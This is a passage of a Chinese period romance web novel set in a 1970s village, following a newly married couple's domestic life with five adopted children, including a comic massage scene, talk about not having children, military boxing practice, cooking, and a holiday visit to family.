不过傅青山虽然一脸愁容,但并没有让大刚重写,毕竟再写一遍,估计大概率也是这个样子。 只是又教育了几句以后遇事要先思考,跟大人商量,不要鲁莽行事。 大刚的心七上八下的,直到听到那声“出去吧”,才长舒一口气,麻溜跑了。 傅青山叹了口气,揉了揉太阳穴,看着谢晚棠:“后天我休息,我们去镇上买书吧。” 谢晚棠闻声,噗嗤一声笑了,大刚的检讨书让傅青山深刻认识到了对子女文化教育的紧迫。 谢晚棠点头:“行,正好我还想再去买点扣子和松紧带,还有小米!” 早晨熬个小米粥也很香哦~ 今晚东屋里抱回来个小狗,叽叽喳喳的,弄得大柱二柱一晚上也跟着一肚子心事,探头探脑地好几次想去看,被傅老三媳妇拍了脖颈子扯回来。 好不容易等俩孩子睡了,两人才在被窝里蒙头办事。 傅老三完事后舒服地躺在炕头上,枕着手臂对媳妇骄傲道:“你还说俺二哥厉害,就刚结婚那三天的事,这两天你还听着那边有动静来?谁家的男人能跟我似的,天天把你伺候得舒舒坦坦的。” 傅老三话落,接着东屋那边就传来了谢晚棠的叫声。 “啊,啊啊——疼啊!” “求你了哥,你轻点……” “啊!好涨啊,太涨了!” “就这里,对对对,多来会儿……” 傅老三:“……” 老三媳妇闻声瞅了傅老三一眼:“你还有脸跟我吹牛逼,你什么时候让我涨过!” 傅老三不敢说你那是生孩子生的松了,那他老婆可能直接就能挠花了他的脸,但又要争一口气,于是狡辩道:“那是二哥他不会玩,会玩才不会涨……” 老三媳妇闻声一脸不屑:“小辣椒再会玩,也不如大地瓜!” “……” 第30章 娘,你晚上一直抱着爹。 傅老三牙都要咬碎了,一骨碌爬起来:“我怎么就是小辣椒了!” 他可以在任何事上不如二哥,就不能是这事上,这事关男人的尊严! 老三媳妇忙了一天上来了困劲,听着东屋那边此起彼伏的声音就糟心:“行了!快困吧,明天还要早起呢!” 傅老三掰着媳妇的胳膊不让她睡:“你不准困,你给我说明白!” 老三媳妇烦得要命:“说明白个屁,你去跟你二哥脱了裤子比比就明白了!” 傅老三不服:“我就算是辣椒,那也是大辣椒!” 老三媳妇只想睡觉,随口道:“行行行,会玩的大辣椒比大地瓜强行了吧,快困吧!烦死了!” “……” 傅老三哪能听不出媳妇嘴里的敷衍,恨恨地躺下:“二哥他顶多是个带刺的黄瓜!” 谢晚棠面朝里,盘腿坐在炕沿,傅青山站在炕前,钳子一样的大手用力地按揉着她肩颈处僵硬的筋和肌肉放松。 那滋味,真是又疼又酸又爽啊…… 设计和缝纫这活看着轻快不沉,但其实对腰椎颈椎伤害还是挺大的,特别容易腰肌劳损、肩颈酸涨。 晚上谢晚棠做完睡裤,就感觉肩膀脖子涨涨的难受,头也有点一跳一跳的疼。 非常熟悉的感觉,她以前都是去美容院,找个女技师给推拿一下肩颈,做个开背放松放松。 70年代没有美容院,更没有女技师。 不过傅青山倒是体贴,看她自己别扭地揉脖子,说给她按按活活血。 有人给按当然舒服,谢晚棠自然愿意,就是没想到习惯了美容院女技师的温柔手法,一下子真有点承受不住傅青山这暴。力服务! 不过你别说,按的时候疼是真疼,但疼过之后,感觉血好像一下子就通过去了,右半边脑袋都感觉轻快了。 “啊!!!!”换到左边的第一下,谢晚棠就没咬住牙,惨叫出声,又开始了惨叫哀求,“哥哥哥,你轻一点啊!求求了……” “我没使劲。”嘴上说着,傅青山手上的劲轻了那么一点点,但谢晚棠感觉还是巨疼,像拿小刀割一样疼! 经历过右边的销魂体验,谢晚棠已经明白了长痛不如短痛的道理,尽力咬牙坚持,但有时候还是忍不住会呻。吟出声。 妞妞看不下去,皱眉哀怨地看着傅青山,小声控诉:“爹,你弄疼娘了……” 小刚也跟着点头:“娘都求你了,你就轻点吧。” 二刚也叹了口气:“爹,以前是我错怪你了,原来你不止对我狠,对自己媳妇都这么狠。” 傅青山:“……” 一群孩子坐在炕上盯着他,两个大的只是皱眉看着,三个小的直接把他归为欺负老婆的行列。 谢晚棠本身在忍疼,听完又忍不住想笑,看傅青山一脸吃瘪又嘴笨不会解释的样,她龇牙咧嘴地对孩子们尽量笑着解释:“爹不是在欺负我,我是做衣裳做的肩膀僵硬,爹是在辛苦帮我按摩呢。” 三个小的不太相信的样子,谢晚棠动动已经按舒服了的右肩膀:“看,右边按完了就好了,爹是在给我治病呢!真的。” 谢晚棠再三解释,三个小的才似懂非懂地点头。 小刚抿唇:“娘是给我们做衣裳才累病的,以后我们要多帮娘干活,不让娘那么累。” 二刚点头:“我以后帮娘打水烧火!” 小刚:“我帮娘扫地收拾家!” 妞妞能干的活都被二哥小哥抢了,懊恼道:“我以后不要新衣裳了,我不要娘生病。” 谢晚棠心里暖暖的,摸摸三个小家伙的头:“没事,娘按完睡一觉就好了!” 兰兰对谢晚棠道:“我也可以学着做衣裳。” 谢晚棠竖起大拇指:“兰兰已经帮我很多了,放心,我可以的!” 大刚张了张嘴,最后又闭上了,反正剩下的都他来,没必要说那么多! 孩子们为她身体着急的样子,谢晚棠都看在眼里,没想到才相处这么短的时间,小朋友们就已经这么体谅她了。 谢晚棠很感动,深吸一口气,高兴道:“那娘以后有五个厉害的小帮手了!” 傅青山站在谢晚棠身后,看着谢晚棠像个快乐的大孩子,非常轻松地就融入到了他的孩子们中间,跟他们说笑玩闹,简直比他这个当爹的还要讨孩子喜欢。 谢晚棠身上好像有一种魔力,天然地吸引着周围的人靠近她,渴望被她的热情、乐观和能量感染,成为她虔诚的信徒。 他甚至想成为最虔诚的那一个,让谢晚棠可以时时看到他。 按摩完,谢晚棠一身轻松,洗完脚回来傅青山已经换上了白色背心和黑色睡裤。 虽然刚结婚那两晚,傅青山都是光着膀子睡在她旁边,她早就见过男人的胸肌腹肌肱二头肌。 但,认识这么久,她还是第一次见傅青山的腿。 黑色睡裤下边缘到大腿的中间处,露出结实的腿部肌肉,看不到睡裤包裹下的部分,只能看到自睡裤下边缘向下延伸,一直延伸到笔直的小腿和脚踝,线条流畅好看。 傅青山脸和上半身是健康的小麦色,但是腿却很白,像是他身上不为人知的小秘密。 “穿得不对吗?” 被谢晚棠探究的眼神一直盯着打量下半身,血液忍不住往下蹿,那种熟悉的难以自控的感觉涌来,虽然睡裤是黑色的,但宽松度没有那么大,相对贴合他的身形,他不确定再被看一会儿会不会…… 谢晚棠回过神来,笑道:“没有没有,是你腿上的肌肉太好看了。” 看大佬微微皱眉,谢晚棠想了想,又补了一句发自真心的马屁:“特别有男人味!” 谢晚棠的话像是火柴,随便点他两下,他感觉自己就要着了。 好在孩子们都冲完脚爬上了炕,傅青山“嗯”了声,随即吹了蜡。 躁动只有隐藏在黑夜里才让人安心。 也不一定能安心=_= 人的睡觉习惯是不会改变的,尤其是按摩舒服了的谢晚棠,睡眠质量格外好,树袋熊的睡觉本性暴露得淋漓尽致。 她梦见自己回到了21世纪,躺在柔软的大床上,抱着自己的大鹅抱枕自由地翻滚,真舒服啊! 至于被当成大鹅抱枕的傅青山就没那么舒服了…… 谢晚棠手脚并用地抱着他,整个人都挂在他身上,他们*手臂贴着手臂,大腿贴着小腿,每一个毛孔都在亲密地接触着。 傅青山感觉,这难耐的燥热感真的跟穿什么衣裳没关系。 身上忍耐得出了一层薄汗,他想下去兜头冲一桶凉井水,二刚却先他一步,起身爬下炕,蹬上鞋跑出去尿尿。 傅青山只能继续忍耐着身体里的燥意等二刚回来睡了,他再下去冲凉水。 不知是不是等待的时间格外漫长,傅青山感觉他在深山老林里执行秘密任务时趴上一天一夜都没有现在难熬,他真的觉得他要憋出毛病来了。 院里有动静,二刚却迟迟不回来,睡迷糊掉坑里了? 已经到了忍耐的边缘,再忍下去不是身体爆炸就是心理变态,不知道会干出什么。 轻轻拿开谢晚棠的手脚,下炕穿鞋,一出当门,就看到月光下,二刚光着腚,正在跟小狗说话:“小黑,你怎么不睡觉?不要害怕,哥哥就在这陪着你,今晚都陪着你哦~” “……” 傅青山深吸一口气:“不困觉在这招猫逗狗的干什么!” 二刚被吓得一哆嗦,起身凑近看了看:“爹?” 傅青山燥得难受,不想说话,冷声道:“回去困觉,再半夜不好好困觉起来玩狗就送回去!” 二刚一听要把小黑送回去,吓得一缩脖子:“我没有不好好困觉,我就是起来尿尿跟它玩会儿,我这就去困!” 二刚说完,一溜烟跑进了屋。 傅青山呼出一口气,弯腰压了满满一桶水,脱了背心和睡裤,兜头冲下来。 冰凉的井水冲去燥热,让人暂得清醒。 又冲了两次,彻底冷静下来后,才擦干穿上衣裳回屋,深吸一口气,上炕躺下,迎接他下半夜的煎熬…… 翌日,谢晚棠醒来的时候,傅青山已经按照她昨晚说的熬好了绿豆汤,兰兰正在煮鸡蛋、烀饼子。 绿豆汤装在盆里,飘出清爽的香气。 谢晚棠让小刚把小黑从窝里抱出来,她拿了半个鸡蛋和一小块饼子,碾碎了倒点温水泡在分家分的破旧小碗里给小黑吃。 她记得以前同事家这么大的小狗要喝羊奶粉,70年代没这条件,毕竟人都没有羊奶可喝呢,这样的小狗食,她也算是尽力了。 安排好小狗的口粮,一家人围在一起吃早饭。 烀饼子、绿豆汤、煮鸡蛋,绝对算是健康养生美食了,就是有点口淡,得想办法弄点酱或者咸菜什么的提提味啊。 谢晚棠正在考虑弄个什么咸菜好,二刚突然道:“爹,你没再感冒吧?” 谢晚棠不解,二刚朝她解释:“昨天后半夜,爹又起来冲凉了。” 傅青山深吸一口气:“吃你的饭。” 谢晚棠没想到傅青山这么大火力:“你昨晚穿那么少了还热?” “……” 傅青山恨不得现在就去上班,这样就可以结束这个话题。 可,他手里还拿着一半没吃完的饼子。 傅青山还没想好怎么回答,二刚快嘴道:“娘,爹不是穿得少才热,是你晚上一直抱着爹,爹才热起来的。” “咳咳咳——”谢晚棠一口鸡蛋没咽下去,呛得眼泪都出来了,擦干眼泪就看到傅青山端着她的绿豆汤给她。 她没接汤,一脸不信地看着傅青山:“我晚上抱你了?” 二刚:“抱了,我每天晚上起夜都看到你抱着爹。” 谢晚棠……?? 还每天晚上?! 这怎么可能!这不开玩笑呢嘛! 首先她睡觉很老实的。 其次他们可是合约夫妻,有名无实的那种。 她要是每天晚上抱着傅青山,傅青山能一直任由她这样差劲的睡品?! 谢晚棠本来是绝不相信的,她看向傅青山,试图让傅青山告诉二刚,那肯定是做梦梦见的! 但是两人视线对上片刻,傅青山放下碗,偏头不看她,也不说话。 谢晚棠……????? 谢晚棠瞬间迷乱了,脸上突然又烫又燥,连清凉解暑的绿豆汤都压不下去。 傅青山两口把手里的饼子塞下去,拿起碗两口绿豆汤送下去,起身:“我去上班。” 推着自行车走到大门口的时候,回头看了一眼还在愣神的谢晚棠,隔着这么远,都能看到她面颊的红晕。 傅青山揉了揉突突跳的眉心:“大刚,中午放学带二刚去赤脚大夫那看看,是不是肾不好!天天起夜!” 50-60 第51章 你不想有个我们俩的孩子吗? 傅青山闻声怔住,不可思议地看着谢晚棠:“你不想有个我们俩的孩子吗?” 谢晚棠的反应的确在他意料之外。 他一直对团长的五个孩子视如己出,但自从对谢晚棠产生了情愫,他也会期待和谢晚棠有一个他们俩的孩子,甚至会希望小孩像谢晚棠多一些,肯定很好看。 但谢晚棠说,她不想生孩子。 傅青山有点不理解。 傅青山很少表情这么丰富,大概是绝对没想到她会给出这个回答。 毕竟这个年代连计划生育都还没有,大家都不避孕,更没有优生优育的概念,每家生两个三个都是很平常的事,甚至生四个五个都不惊奇。 他们家就是个例子,团长和媳妇去世前,就已经生了五个孩子了。 谢晚棠不想让傅青山在这方面有压力,便从女性自身健康角度出发解释道:“虽然小孩子很可爱,但是孕育一个小孩子的过程对女人身体的伤害还是很大的。” 傅青山听到“伤害”两个字皱眉:“什么伤害?” 谢晚棠回想她以前在网上看过的宝妈忧郁帖,给傅青山举例:“怀孕的时候有可能会长妊娠纹啊,很难看,而且以后都没法恢复了。” “怀孕期间非常容易缺钙,大概率会腰疼腿抽筋啊,而且大肚子行动也不方便,很辛苦。” 毕竟这个年代既喝不上牛奶,也补不上钙片,缺钙是一定的。她记得下边有孕妈形容过,怀孕的过程,女性的身体就像萝卜一样会慢慢变糠。 “生的时候就更疼了,听说骨缝要开到十指呢,而且还有难产的危险。” 这个年代都在村里生孩子,顺利还好,不顺利送医院剖腹产可能都来不及,而且也不知道剖腹产水平怎么样呢。 “而且生完喂奶的时候,听说小孩的嘴可有劲了,吸破是常有的事,咦,想想就疼。” 谢晚棠也没生过孩子,没亲身经历过,她也只能跟傅青山说她听说过的,但说着说着,她也真不太想生了,感觉生孩子对女性好像真的没什么好处。 如果傅青山没问题,这些问题她其实也都能克服,能和傅青山生一个小孩,她还是挺期待的,万一生个跟傅青山一样性格的小孩,小小年轻就老成老成的,会不会也很有趣呢? 但既然傅青山不能生育,虽说不能孕育一个新的小生命了,但是对她身体好,也未尝不是一件好事。 谢晚棠笑笑总结:“所以综上,我不太想生孩子。” 傅青山不懂生孩子的事,所以很认真地在听谢晚棠说,谢晚棠每说一条,他的脸就沉下去一分,如果一个可爱的小孩要以牺牲谢晚棠的身体为代价,那他就不喜欢也不想要了。 傅青山点头:“那就不要了,现在这样就很好。” 谢晚棠附议:“我也觉得!” 下午睡起来,难得一家人都在家,都不用去上班、上工、上学。 谢晚棠趁着白天光线好,抓紧先给玉秀和傅青林做结婚要穿的两套衣裳,兰兰和她一块在炕上做鞋,她裁衣裳的时候听着外边几个小的叽叽喳喳的,通过炕上的小窗能看到二刚小刚妞妞都围着傅青山呢。 一个月了,从集上抓回来的鸡鸭,还有从玉秀家抱回来的小黑都长大了不少,原来的小窝都有点挤吧了,傅青山用上次剩下的旧木头给小鸡小鸭小狗扩栏。 谢晚棠羡慕地叹了口气,兰兰闻声抬眸:“娘,你怎么了?” 谢晚棠又叹了口气:“哎,鸡鸭鹅狗都换新家了,我们什么时候能换新房子。” 兰兰:“爹不是说过完中秋房场就能下来吗?这也没多少日子了。” 谢晚棠点头:“是呀。” 这不是急不可耐嘛…… 丢脸的初恋人啊!怎么就那么猴急嘛! 一聊起房子,娘俩便有说不完的话。 谢晚棠憧憬道:“到时候咱们盖个套三的户型。” 兰兰歪头:“什么是套三啊?” 谢晚棠:“就是三个卧室,到时候你和妞妞单独住一间,让你弟弟他们三个住一间,这样分开住你和妞妞晚上上厕所、洗澡、换衣服也都方便。” 兰兰没想到谢晚棠替她们想得这么周到,天天跟一群男孩子住一个炕,肯定是很不方便。 兰兰高兴地点头:“太好了,谢谢娘!” 谢晚棠并不觉得这有什么好谢的,孩子们慢慢长大,亲姐弟亲兄妹之间也该避嫌的。 兰兰感觉后妈做到谢晚棠这个份上,真的没话说,她想起上午去镇上的路上,春月婶婶问娘要孩子的事,娘说暂时没打算。 其实她当时挺惊讶,就算家里有他们五个孩子,但毕竟都不是爹娘亲生,按理来说结了婚,他们俩要生自己的孩子,是很正常的事。 兰兰抿唇想了想:“娘,如果您和爹想要孩子就要吧,我们其实都挺想要个弟弟或者妹妹的,我和大刚都能挣工分养家了,二刚过几年也大了,家里再养个小孩也不愁。” 谢晚棠:“……” 最近她是中了什么被催生的魔咒了吗?一群中年妇女跟她催生也就罢了,居然大闺女也加入催生队伍了?! 而且这不是养不养的起的事啊,她也不能跟孩子解释说是因为你爹不行吧…… 谢晚棠轻咳一声,把中午跟傅青山说那一套生孩子伤害论跟兰兰又讲了遍:“所以暂时不打算要孩子了,有你们我感觉就很好啊!而且我还要好好搞事业呢!” 兰兰惊讶:“搞,搞事业?” 谢晚棠点头:“对啊,毛主席都说了,妇女能顶半边天,女人一定要有自己的事业,这才是一辈子的底气,不要把自己的未来托付给任何人。” 兰兰微微皱眉,有些不解:“您是不相信爹吗?” 谢晚棠想了想:“也不是不相信,但相信别人永远不如相信自己来得可靠。爱情当然美好,但是女人永远不要因为爱情放弃对事业的努力,要让爱情成为你的锦上添花,而不是雪中送炭。” 虽然现在这个特殊计划经济年代,国家对各个方面管控很严,她暂时没有什么机会发展自己的事业。 但是再过几年,改革开放的春风一来,社会生产力大解放,人民生活水平显著提升,对衣食住行的需求都大大提高,“衣”可是排在首位,她要抓住春风,创建自己的服装品牌,引领民族时尚前沿! 兰兰听得惊讶,嘴巴微张,原来女人还可以这样活,可以不依靠男人,可以去追求自己的事业。 谢晚棠说的她其实似懂非懂,也不知道事业具体是什么,但谢晚棠说这些话的时候,那种自信的样子,整个人都在发光,强烈地吸引着她。 从艳阳高照做到太阳西斜,落日挥洒出一副巨大的橘色油画。 谢晚棠把做好的布拉吉和衬衣长裤挂起来,伸了个懒腰,抻抻酸痛的肩膀颈椎,叫兰兰一块出来歇歇。 大刚如照顾自己的孩子一般精心打理着他的小菜园,谢晚棠走过去看,菜长到有她的手指那么长,已经是她可以认识的模样了。 谢晚棠微微弯腰,双手撑着膝盖,好奇地问大刚:“这些菠菜苔菜还要多久才能长大啊?” 大刚骄傲地介绍:“再过一个周就可以先从密的地方拔些来吃了,不然长不开,全长起来大概要半个月吧。” 谢晚棠一听,给大刚竖起大拇指:“胜利在望了!” 大刚难得脸上有笑意,笑着点头,为他的小菜园即将有收获而开心。 傅青山的狗窝也快完工了,谢晚棠看他蹲在那里神情专注,忍不住过去从背后用手指勾他的耳朵玩逗他,看着傅青山的耳朵慢慢变红,谢晚棠忍不住低笑,直到傅青山转身抬头,无奈又哀求地看她,她才笑着松开手。 妞妞、立春和小刚从外边跑回来,拔了很多狗尾巴草和黄色白色的小雏菊。 谢晚棠想起小时候那会儿最流行的编小兔子,便从妞妞手里拿了四根,两根并在一起当兔耳朵,另一根顺着兔耳朵的地方往下缠小兔的身子,缠完系个扣绑住,一个晃着长耳朵的狗尾巴草小兔子就有了~ 妞妞惊喜地接过来:“哇,好可爱!” 于是谢晚棠就和两个小姑娘拿了板凳坐在大门口编小兔子,小刚负责去拔狗尾巴草,胡同里的拔没了,又跑去小路旁拔了一堆回来。 编完一堆可爱的小兔子,谢晚棠找了两个结婚时候喝酒剩下的小酒瓶,里边装上水,然后把小雏菊和小兔子一起插进去,给了立春一瓶,另一瓶拿屋里摆在桌上。 天然取材的插花让家里一下子充满了生机,小刚和妞妞开心得不得了。 谢晚棠耸耸肩:“不过小花时间长了也会蔫哦,等以后盖新家的时候院子大一点,让爹在院里给我们开一片小花园。” 小刚惊讶:“家里还可以开花园?” 他只见过菜园。 谢晚棠:“当然,到时候大家喜欢什么花,我们就移栽到院子里来。” 两个小的高兴极了,齐声说好。 晚饭前,傅大嫂把大包子蒸好了送过来,两大盆,一盆肉的一盆素的,加起来估计得有五六十个。 这要搁以前,谢晚棠看到这么两盆大包子得愁死,可现在家里有七口人,而且傅青山和大刚的饭量一个顶俩,二刚也越来越像大刚看齐,这两盆大包子差不多两顿就能干出来。 谢晚棠拿了个盆给傅大嫂拾上5个肉包5个素包,肉和白面可都是稀罕东西,傅大嫂还不起,哪里好意思要。 谢晚棠直接把盆塞她怀里:“大嫂你就收下吧,你又是发面,又是剁馅,还得包还得烧火蒸,你不要,以后我都不好意思麻烦你了。” 傅大嫂还是感觉过意不去:“其实也没多麻烦。” 谢晚棠笑道:“你就当是手工费吧大嫂!” 傅大嫂看谢晚棠是真心要给,不是表面工夫,也就厚着脸皮收下了,虽然还不起这么好的,以后中午头傅青山不在家的时候,谢晚棠不大会做饭,她做了什么好的,也给谢晚棠送过来点。 傅大嫂端着白面包子的回来的时候,老三媳妇正好出来倒水,看到傅大嫂从东屋那边端着白面包子回来自然羡慕,但因为她没有,就阴阳怪气哼了声:“真能舔么人啊!” 要搁以前,傅大嫂肯定要难受,还得去上赶着解释,但不知道是不是和谢晚棠相处多了,她也有点被谢晚棠感染了,知道自己并没有歪心思去舔么占小便宜,心里就不在意老三媳妇怎么说了,她自己坦荡荡就行。 傅大嫂走后,孩子一个个都馋得不行了,谢晚棠也没那么多规矩讲究,先一人分了一个肉包子吃着,她和傅青山分工,她做蒜泥拍黄瓜,傅青山烧了个紫菜蛋花汤。 包子就着凉菜和汤,简直再爽口不过! 不出谢晚棠所料,晚上直接干掉一盆多包子,剩下的少半盆留着明早当早饭,再配个小米粥就行。 吃过晚饭,傅青山刷碗,孩子们帮着他往屋里搬,很快就收拾得板板正正。 孩子们在院里跟小黑玩,感觉到傅青山的视线,谢晚棠偏头和他对视一眼,秒懂他的意思,都是情窦初开,她的欲。望并不比傅青山弱,对傅青山那雕塑一般完美的身体也充满了渴望。 虽然自留地现在也不安全了,但暂时也别无选择,而且得想想,去地里摘点什么当借口呢? 傅青山:“棠棠,今晚开始打军体拳吧。” 谢晚棠……???? 谢晚棠:“……” 第52章 下意识跟着傅青山的力度收紧腰肢。 所以刚才傅青山用那样深情的眼神看着她,心里想的竟然是带她打军体拳吗??? T-T 大佬终究是大佬,只有她的芯是黄的。 月经刚走那会儿拿身体还没完全休息好当借口逃避军体拳训练,她都快忘了这茬了…… 不想运动的谢晚棠试图撒娇逃过,小嘴一嘟,抱着傅青山的胳膊晃了晃:“二哥~我不想打拳~” 之前在炕上的时候,她就对傅青山撒娇过,傅青山受不了她的撒娇,被她引导着,什么“宝贝我爱你”,“你是我的小甜心”,都对她说了。 然而不知道撒娇大法是不是只有在炕上才有用,傅青山微微皱眉,神色复杂地看着她:“可是大夫说你需要运动,对你的身体好。” 虽然语气温和,但并没有因为她的撒娇耍赖而妥协。 二刚和小刚对军体拳感兴趣,主动道:“娘,我们陪您一起练,这样您就不孤单了!” 谢晚棠:“……” 她不想练不是因为孤单啊…… 二刚和小刚说完,大刚也表示可以一起练,兰兰和妞妞为了支持她,也主动申请加入了练习。 谢晚棠:“……” 得,孩子们这直接给她架上去了,她可以对傅青山撒娇,却不好意思跟孩子们耍赖,好歹她也是个大人,要脸的呀! 谢晚棠苦着脸笑笑:“那就练吧……” 好好提升一下她革命的本钱吧=_= 见她同意,傅青山满意点头,迟疑片刻后道:“棠棠真乖。” 似是不自在,说完耳朵尖都肉眼可见地红了。 谢晚棠……?! 她不过是同意打个军体拳,居然就能换来傅青山这样主动甜甜地哄她! 那充满磁性的低音炮混响说“棠棠真乖”的时候,谢晚棠感觉她的耳朵真的要怀孕了! 下一秒,被哄舒服了的谢晚棠撸起袖子一叉腰:“干!” 几个小的也跟着她学,就连妞妞都特有气势,小表情奶凶奶凶地:“干!” 傅青山点头,先给大家展示了一遍完整的军体拳。 “准备格斗。” 准备姿势一亮,傅青山整个人气场都变了,脊背挺直站如松,从沉稳老干部一秒变身军旅硬汉。 “弓步冲拳。” 傅青山一边说一边做,他筋骨有力下盘稳,冲拳的时候身子一点都不晃,每一个动作都交代得明明白白。 每个女孩都有军旅梦,谢晚棠也不例外,欣赏着国家给自己培养的优秀男人,真是越看越帅! 傅青山将完整的军体拳做完一遍,然后从头开始教他们分解动作:“今天先学前三个,准备格斗、弓步冲拳和穿喉弹踢。” 讲完分解准备格斗的动作要领,傅青山挨个给他们纠正动作。 谢晚棠站在第一个,傅青山伸手在她腰上一握,谢晚棠“啊”的一声惊叫出声,身旁和后边一排的孩子们全部看过来。 傅青山手没拿走,不解地看着她。 谢晚棠抿唇,凑近一点压低声音道:“当着孩子们的面,你也敢动手动脚?!” 她没想到傅青山这么大胆! 傅青山皱眉,奇怪地看着她,半晌才明白过来她的意思,手还握着她的腰,以她为例给孩子们讲:“大家要注意,腰是核心,要收紧用力,不要松松垮垮。” 谢晚棠:“……” “哦。” 这不能全怪她啊,她光看傅青山的长胳膊长腿去了,哪知道打拳还得用腰啊! 主要是傅青山握她腰的那个手感,跟在炕上的时候太像了! 傅青山说“收紧用力”的时候,手也配合着捏了捏她的腰,她有点怕痒,便下意识跟着傅青山的力度收紧腰肢。 傅青山纠正完她的腰,又纠正她胯部的角度,一双火热的大手就算隔着裤子也能感觉到温度和力量,她脑海里甚至不自觉浮现出傅青山吻到动情处大手用力抓她屁股的火辣画面。 最后傅青山又扶着她的胳膊给她微调姿势,夏天的衣裳袖子肥大,抬手的时候袖子自然垂落到手肘处,免不得要肌肤相贴。 谢晚棠突然觉得练军体拳似乎也不错呢,可以在孩子们面前光明正大地摸这摸那,还不会有罪恶感,因为这可是在锻炼!是很正能量的哦! 嘿嘿~ 就是摸着摸着,谢晚棠被撩拨起火来。 能光明正大地摸,但不能光明正大地亲亲抱抱,这就愁人→_→ 一直挨到练完,洗漱上炕睡觉,听到大刚二刚的呼噜声,谢晚棠终于忍不住,就着两人面对面侧躺的姿势,她一点一点往前蹭,在黑夜的掩护下,下巴微抬,轻轻吻上傅青山的薄唇。 傅青山的唇很软,也很好亲,睡着的傅青山一副人人蹂躏的乖模样,任由她轻松就撬开牙关,尽情掠夺。 她不敢动作太大,怕吵醒孩子们,如小狗般试探性地开发着每一个新奇的角落。 轻飘飘的撩拨好似羽毛若有若无地来回蹭着,蹭得人格外心痒难耐,傅青山再也装睡不下去,伸手一把揽住谢晚棠的腰往怀里收紧,在谢晚棠惊呼出声前,堵住了她的唇。 他抬手抵住她的后脑勺,将她整个人贴近自己,炙热的唇、滚烫的身体,紧紧将她包裹起来,肆意地占有。 谢晚棠惊得忘记了闭眼,早已适应了黑暗的瞳孔将男人的热烈尽收眼底。 傅青山灼热的呼吸打在她娇嫩的皮肤上,她回过神来,被那份热情感染,极尽温柔缱绻地回吻,仿佛只有他们两个人的小世界, 窗外月光温柔,繁星点点,为他们一同见证。 休息一天,紧接着开始收花生,男人拿着锄头往外刨,女人和孩子跟在后边往下撕。 下午下工的时候,谢晚棠去找大队长林大力,“队长,我能提前先领一点大豆回去吗?到时候大队按工分统一分的时候,给我扣掉提前领的部分就行。” 林大力挠头:“可以是可以,可大豆还没长成呢!你弄回去干啥?” 谢晚棠当然知道没成,她要的就是没成的。 庄稼地里收大豆是等大豆都干了黄了才会收,吃得时候直接泡了水磨小豆腐就行,但她要做五香卤毛豆,就得趁大豆还没长老,嫩绿嫩绿的时候摘了才行。 谢晚棠笑笑:“林队长,我就要这种没长成的,所以才提前跟您说。” 林大力倒是没意见,不过提醒了一句:“现在大豆还湿,可压份量,到时候没法给你补啊。” 谢晚棠也不在意那点水分压秤,摆摆手表示没问题,摘了三斤鲜毛豆秤了,在大队部的册子上登记了带回去。 谢晚棠回家把二刚和小刚叫过来:“喏,一人一把剪刀,交给你们俩一个重大任务,把两头剪掉,都露出口来,好入味。” 三斤毛豆不少,这确实是个大工程,但两个小的精力旺盛,一点不愁,高兴地领了任务。 二刚好奇地舔舔嘴:“娘,这又是要做什么好吃的?” 娘总是有很多新花样,就没有不好吃的! 谢晚棠笑道:“五香卤毛豆!” 二刚眨眨眼:“什么是毛豆?” 谢晚棠指指他正在剪的:“你手上的就是,老了叫黄豆,年轻的时候就叫毛豆。” 小刚好奇:“啊?为什么这么叫啊娘?” 谢晚棠想了想:“嗯,咱们中华文化博大精深嘛,管年轻人也叫毛头小子,老了就说人老珠黄,大豆也一样,年轻的时候叫毛豆,老了就是黄豆。” 家里正在上学的文化人二刚惊讶得不行:“原来大豆的名还这么有学问!” 小刚竖起大拇指给于肯定:“娘知道这么多,娘比大豆还有学问!” 谢晚棠:“……” 傅青山在当门炒菜,听着谢晚棠在外边跟两个小儿子聊天,越来越发现她真的是个很有趣的人。 剪三斤毛豆不是小工程,吃过晚饭,两个小的才完成任务。 傅青山在外边洗碗,谢晚棠在当门研究卤汁。 锅里加了水,放上切好的大葱、姜片,还有之前在供销社买的桂皮、香叶、花椒,再倒上几勺盐提提咸味,然后烧火,先把大料煮开,把味道都煮下来,然后才叫二刚把洗好剪好口的毛豆端进来倒进大锅里继续煮。 原本闻着有些刺鼻的花椒大料煮完后透出一股特别的香味,几个孩子都被吸引过来。 谢晚棠看大家都馋得不行,就先捞出来一小碗让大家分着尝尝鲜解解馋:“剩下的明天吃,泡一晚更入味。” 孩子们一人拿了俩扒了吃了,虽然现在味道还没有浸得很深,但表皮已经尝到好吃的汤汁味了,纷纷竖大拇指。 傅青山刷完碗又在洗衣服,腾不出手来,谢晚棠扒了两个出去喂给他,傅青山张嘴接的时候,舌尖舔过她的指尖,傅青山的舌尖好软,带起一阵酥酥麻麻的颤栗,她都有点怀疑傅青山是不是故意舔的??? 翌日一早,谢晚棠下炕拿了个毛豆尝了尝,五香卤汁彻底浸润到毛豆里,完美! 之前跟玉秀说过要让她尝尝五香毛豆有多上头的,盛了一碗让小刚和妞妞给玉秀送过去。 家里人口多就是下饭,三斤五香卤毛豆,一早晨就干出来了。 看孩子们吃得香,谢晚棠也高兴,毛豆富含植物蛋白,也算丰富了营养来源了! 吃过早饭去上工的时候碰到玉秀,玉秀果然上头了,而且不光她上头,她爹娘也上头了! 玉秀求着谢晚棠给她卤一锅,谢晚棠抿唇笑:“还记得你在供销社门口闻着大料嫌弃得捏鼻子的样子吗?” 玉秀叹气:“那时候的我是山猪吃不了细糠!” 谢晚棠笑得不行:“行行行,给你这个小猪卤一锅!” 谢晚棠把毛豆剪口的要求告诉玉秀,让她吃完晚饭带着剪好的毛豆过来,给她卤上,玉秀连连点头,感激万分。 中秋节很快到了,谢晚棠嫁过来以后* 第一次回门。 傅青山前一天下班特地去供销社买了4包月饼,10斤白面,还去黑市买了个猪肘子,谢晚棠给薛桂花做了一身秋天的新衣裳。 中秋节当天吃过早饭,谢晚棠和傅青山带着东西和五个孩子回娘家。 说是回娘家,其实平时上工的时候她经常能见着谢老爹和谢建国,只不过因为之前的不愉快,双方都不怎么愿意搭理对方罢了。 谢晚棠还没拐进胡同,就听着胡同里传来谢建国和一个年轻女人的声音。 谢建国语气里充满了哀求,一点没有在家对着薛桂花时的趾高气扬,窝窝囊囊道:“翠芬,三转一响俺家是真买不起,你回去跟你爹再好好说说行不行?求求你了!” 叫翠芬的女人哼了一声:“求我还不如去找你妹妹妹夫,凭什么她结婚有三转一响,你个当哥的就没有?她光顾着自己过好日子不管你们,算什么东西!” 第53章 盖房子。??? 自己找的男人没本事,还厚颜无耻地觊觎傅青山的钱? 